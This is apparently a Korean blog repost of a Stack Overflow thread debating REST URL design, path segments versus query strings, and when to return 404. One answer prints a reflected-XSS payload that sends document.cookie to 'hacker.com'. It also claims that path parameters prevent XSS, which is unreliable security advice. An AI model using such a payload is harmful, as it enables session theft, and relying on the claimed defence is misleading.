IT TIP

REST 리소스 URL의 쿼리 문자열

itqueen 2020. 10. 31. 10:22
반응형

REST 리소스 URL의 쿼리 문자열


오늘 REST URL에서 쿼리 문자열을 사용하는 것에 대해 동료와 논의했습니다. 다음 두 가지 예를 살펴보십시오.

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

내 입장은 URL이 예제 1에서와 같이 설계되어야한다는 것입니다. 이것은 더 깨끗하고 REST 내에서 옳다고 생각하는 것입니다. 내 눈에는 제품 코드가 존재하지 않는 경우 예제 1에서 404 오류를 반환하는 것이 완전히 정확할 것이며 예제 2에서는 페이지가 있어야하므로 404를 반환하는 것은 잘못되었을 것입니다. 그의 입장은 그다지 중요하지 않으며 둘 다 같은 일을한다는 것이 었습니다.

우리 중 누구도 구체적인 증거를 찾을 수 없었기 때문에 (확실히 내 검색이 광범위하지 않았 음) 이에 대한 다른 사람들의 의견을 알고 싶습니다.


일반적인 REST API에서는 예제 # 1이 더 정확합니다. 리소스는 URI로 표시되고 # 1은 더 많은 작업을 수행합니다. 제품 코드를 찾을 수 없을 때 404를 반환하는 것은 절대적으로 올바른 동작입니다. 그렇게 말했지만, 나는 다음과 같이 좀 더 표현력이 있도록 # 1을 약간 수정합니다.

http://localhost/products/code/4xheaua

잘 설계된 다른 REST API를 살펴보세요. 예를 들어 StackOverflow를 살펴보세요. 당신은 :

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

이것들은 "질문"을 얻는 다른 방법입니다.


클라이언트의 관점에서 두 URI 사이에는 차이가 없습니다. URI는 클라이언트에게 불투명합니다. 서버 측 인프라에 더 깔끔하게 매핑되는 것을 사용하십시오.

REST에 관한 한 전혀 차이가 없습니다. 많은 사람들이 리소스를 식별하는 경로 구성 요소 일 뿐이라고 생각하는 이유는 RFC 2396 의 다음 줄 때문이라고 생각합니다.

쿼리 구성 요소는 리소스가 해석 할 정보 문자열입니다.

이 줄은 나중에 RFC 3986 에서 다음과 같이 변경되었습니다 .

쿼리 구성 요소에는 경로 구성 요소 (섹션 3.3)의 데이터와 함께 리소스를 식별하는 데 사용되는 비 계층 적 데이터가 포함됩니다.

IMHO 이것은 리소스를 식별 할 때 쿼리 문자열과 경로 세그먼트가 기능적으로 동일하다는 것을 의미합니다.


Steve의 의견을 반영하도록 업데이트하십시오.

내가 "cleaner"형용사에 반대한다면 용서 해주세요. 너무 주관적입니다. 내가 질문의 상당 부분을 놓쳤다는 점이 있습니다.

404를 반환할지 여부에 대한 대답은 검색되는 리소스가 무엇인지에 따라 달라집니다. 검색 결과의 표현입니까, 아니면 제품의 표현입니까? 이를 알기 위해서는 우리를 URL로 이끄는 링크 관계를 살펴 봐야합니다.

URL이 제품 표현을 반환해야하는 경우 코드가 존재하지 않으면 404가 반환되어야합니다. URL이 검색 결과를 반환하는 경우 404를 반환해서는 안됩니다.

최종 결과는 URL의 모양이 결정 요소가 아니라는 것입니다. 즉, 검색 결과를 반환하는 데 쿼리 문자열을 사용하는 것이 관례이므로 404를 반환하지 않으려는 경우 해당 URL 스타일을 사용하는 것이 더 직관적입니다.


GET에 대한 두 가지 사용 사례가 있습니다.

  1. 고유하게 식별 된 리소스 가져 오기
  2. 주어진 기준에 따라 리소스 검색

사용 사례 1 예 :

/ products / 4xxheua
고유하게 식별 된 제품을 가져오고 찾을 수없는 경우 404를 반환합니다.

사용 사례 2 예 :

/ products? size = large & color = red
제품을 검색하고 일치하는 제품 목록을 반환합니다 (0 개 이상).

Google Maps API를 살펴보면 검색에 쿼리 문자열을 사용하는 것을 볼 수 있습니다.

예 : http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

따라서 두 스타일 모두 자체 사용 사례에 유효합니다.


IMO는 경로 구성 요소가 항상 검색하려는 내용을 명시해야합니다. http : // localhost / findbyproductcode 와 같은 URL 은 제품 코드로 무언가를 검색하고 싶다고 만 말하지만 정확히 무엇입니까?

따라서 http : // localhost / contacts로 연락처 를 검색하고 http : // localhost / users로 사용자를 검색 합니다. 쿼리 문자열은 리소스 속성을 기반으로 이러한 목록의 하위 집합을 검색하는 데만 사용됩니다. 이에 대한 유일한 예외는이 하위 집합이 기본 키에 따라 하나의 레코드로 축소 된 다음 http : // localhost / contact / [primary_key]와 같은 것을 사용하는 경우입니다.

그게 내 접근 방식이며 마일리지는 다를 수 있습니다. :)


내가 생각하는대로 URI 경로는 리소스를 정의하고 선택적 쿼리 문자열은 사용자 정의 정보를 제공합니다. 그래서

https://domain.com/products/42

특정 제품을 식별하는 동안

https://domain.com/products?price=under+5

5 달러 미만의 제품을 검색 할 수 있습니다.

리소스를 식별하기 위해 쿼리 문자열을 사용하는 것이 REST와 일치한다고 말하는 사람들의 의견에 동의하지 않습니다. REST의 큰 부분은 정적 계층 적 파일 시스템을 모방하는 API를 만드는 것입니다 (문자 그대로 백엔드에 그러한 시스템이 필요하지 않음). 이는 직관적이고 의미 론적 리소스 식별자를 만듭니다. 쿼리 문자열은이 계층을 깨뜨립니다. 예를 들어 시계는 액세서리가있는 액세서리입니다. REST 스타일에서는 무엇을

 https://domain.com/accessories/watches

https://domain.com/watches/accessories

각각 참조합니다. 쿼리 문자열을 사용하면

 https://domain.com?product=watches&category=accessories

명확하지 않습니다.

최소한 REST 스타일은 쿼리 문자열보다 낫습니다. 매개 변수의 강력한 순서로 인해 매개 변수 이름을 버릴 수 있기 때문에 대략 절반의 정보가 필요하기 때문입니다.


이 두 URI의 끝은 RESTfully 그다지 중요하지 않습니다.

However, the 'findbyproductcode' portion could certainly be more restful. Why not just http://localhost/product/4xxheau ?

In my limited experience, if you have a unique identifier then it would look clean to construct the URI like .../product/{id} However, if product code is not unique, then I might design it more like #2.

However, as Darrel has observed, the client should not care what the URI looks like.


The query string is unavoidable in many practical senses.... Consider what would happen if the search allowed multiple (optional) fields to all ve specified. In the first form, their positions in the hierarchy would have to be fixed and padded...

Imagine coding a general SQL "where clause" in that format....However as a query string, it is quite simple.


This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).

(Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)

The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Whereas this attack will be successful by using a QueryParam!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

Philosophically speaking, pages do not "exist". When you put books or papers on your bookshelf, they stay there. They have some separate existence on that shelf. However, a page exists only so long as it is hosted on some computer that is turned on and able to provide it on demand. The page can, of course, be always generated on the fly, so it doesn't need to have any special existence prior to your request.

Now think about it from the point of view of the server. Let's assume it is, say, properly configured Apache --- not a one-line python server just mapping all requests to the file system. Then the particular path specified in the URL may have nothing to do with the location of a particular file in the filesystem. So, once again, a page does not "exist" in any clear sense. Perhaps you request http://some.url/products/intel.html, and you get a page; then you request http://some.url/products/bigmac.html, and you see nothing. It doesn't mean that there is one file but not the other. You may not have permissions to access the other file, so the server returns 404, or perhaps bigmac.html was to be served from a remote Mc'Donalds server, which is temporarily down.

What I am trying to explain is, 404 is just a number. There is nothing special about it: it could have been 40404 or -2349.23847, we've just agreed to use 404. It means that the server is there, it communicates with you, it probably understood what you wanted, and it has nothing to give back to you. If you think it is appropriate to return 404 for http://some.url/products/bigmac.html when the server decides not to serve the file for whatever reason, then you might as well agree to return 404 for http://some.url/products?id=bigmac.

Now, if you want to be helpful for users with a browser who are trying to manually edit the URL, you might redirect them to a page with the list of all products and some search capabilities instead of just giving them a 404 --- or you can give a 404 as a code and a link to all products. But then, you can do the same thing with http://some.url/products/bigmac.html: automatically redirect to a page with all products.


By the REST client the URI structure does not matter, because it follows links annotated with semantics, and never parses the URI.

By the developer who writes the routing logic and the link generation logic, and probably want to understand log by checking the URLs the URI structure does matter. By REST we map URIs to resources and not to operations - Fielding dissertation / uniform interface / identification of resources.

So both URI structures are probably flawed, because they contain verbs in their current format.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

You can remove find from the URIs this way:

1. /products/code:4xxheua
2. /products?code="4xxheua"

From a REST perspective it does not matter which one you choose.

You can define your own naming convention, for example: "by reducing the collection to a single resource using an unique identifier, the unique identifier must be always part of the path and not the query". This is just the same what the URI standard states: the path is hierarchical, the query is non-hierarchical. So I would use /products/code:4xxheua.

참고URL : https://stackoverflow.com/questions/3821663/querystring-in-rest-resource-url

반응형